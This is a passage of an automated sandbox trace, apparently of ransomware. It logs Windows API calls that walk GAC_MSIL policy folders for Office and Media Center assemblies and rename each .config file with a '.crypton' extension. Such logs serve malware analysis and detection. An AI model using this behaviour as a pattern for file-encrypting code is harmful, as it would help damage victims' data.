"c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.outlook\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.outlook.config.crypton"), dwFlags=0x2) returned 1 [0234.988] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c666f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x96bb320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x96bb320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0234.994] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x96bb320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x96bb320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0234.996] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.outlookviewctl\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.outlookviewctl.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.outlookviewctl\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.outlookviewctl.config.crypton"), dwFlags=0x2) returned 1 [0235.004] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c8c850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x96e1480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x96e1480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.010] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a5a21d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97075e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x97075e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.013] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.powerpoint\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.powerpoint.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.powerpoint\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.powerpoint.config.crypton"), dwFlags=0x2) returned 1 [0235.039] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c8c850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x972d740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x972d740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.045] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a76b250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97538a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x97538a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.049] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Publisher.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.publisher\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.publisher.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Publisher.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.publisher\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.publisher.config.crypton"), dwFlags=0x2) returned 1 [0235.056] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6568650, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97538a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x97538a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.061] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59460250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9779a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9779a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.064] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.SmartTag.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.smarttag\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.smarttag.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.SmartTag.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.smarttag\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.smarttag.config.crypton"), dwFlags=0x2) returned 1 [0235.071] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af0e3c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9779a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9779a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.077] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8514a320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x979fb60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x979fb60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.079] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visio\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.visio.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visio\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.visio.config.crypton"), dwFlags=0x2) returned 1 [0235.098] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af5a680, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x97c5cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x97c5cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.107] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c3b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x97ebe20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x97ebe20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.110] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visio.saveasweb\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.visio.saveasweb.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visio.saveasweb\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.visio.saveasweb.config.crypton"), dwFlags=0x2) returned 1 [0235.121] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af5a680, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9811f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9811f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.167] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85339500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x98843a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x98843a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.170] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.VisOcx.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visocx\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.visocx.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.VisOcx.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visocx\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.visocx.config.crypton"), dwFlags=0x2) returned 1 [0235.198] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6cfec70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x98d0660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x98d0660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.203] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e60d530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x98d0660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x98d0660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.205] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Word.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.word\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.word.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Word.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.word\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.word.config.crypton"), dwFlags=0x2) returned 1 [0235.217] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f74f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x98f67c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x98f67c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.223] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e46a610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x98f67c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x98f67c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.225] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Vbe.Interop.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.vbe.interop\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.vbe.interop.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Vbe.Interop.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.vbe.interop\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.vbe.interop.config.crypton"), dwFlags=0x2) returned 1 [0235.232] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f28c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x991c920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x991c920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.236] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x991c920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x991c920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.239] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.office.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\policy.12.0.office.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.office.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\policy.12.0.office.config.crypton"), dwFlags=0x2) returned 1 [0235.248] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e52320, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x9942a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9942a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.253] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e52320, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x9942a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9942a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.285] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.ehrecobj\\6.1.0.0__31bf3856ad364e35\\policy.6.0.ehrecobj.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.ehrecobj\\6.1.0.0__31bf3856ad364e35\\policy.6.0.ehrecobj.config.crypton"), dwFlags=0x2) returned 1 [0235.293] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eea8a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x99b4ea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x99b4ea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.321] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ec4740, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x99db000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x99db000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.324] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.microsoft.mediacenter\\6.1.0.0__31bf3856ad364e35\\policy.6.0.microsoft.mediacenter.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.microsoft.mediacenter\\6.1.0.0__31bf3856ad364e35\\policy.6.0.microsoft.mediacenter.config.crypton"), dwFlags=0x2) returned 1 [0235.331] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f36b60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x9a01160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9a01160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0235.336] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f36b60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x9a01160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9a01160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0235.339] MoveFileExW 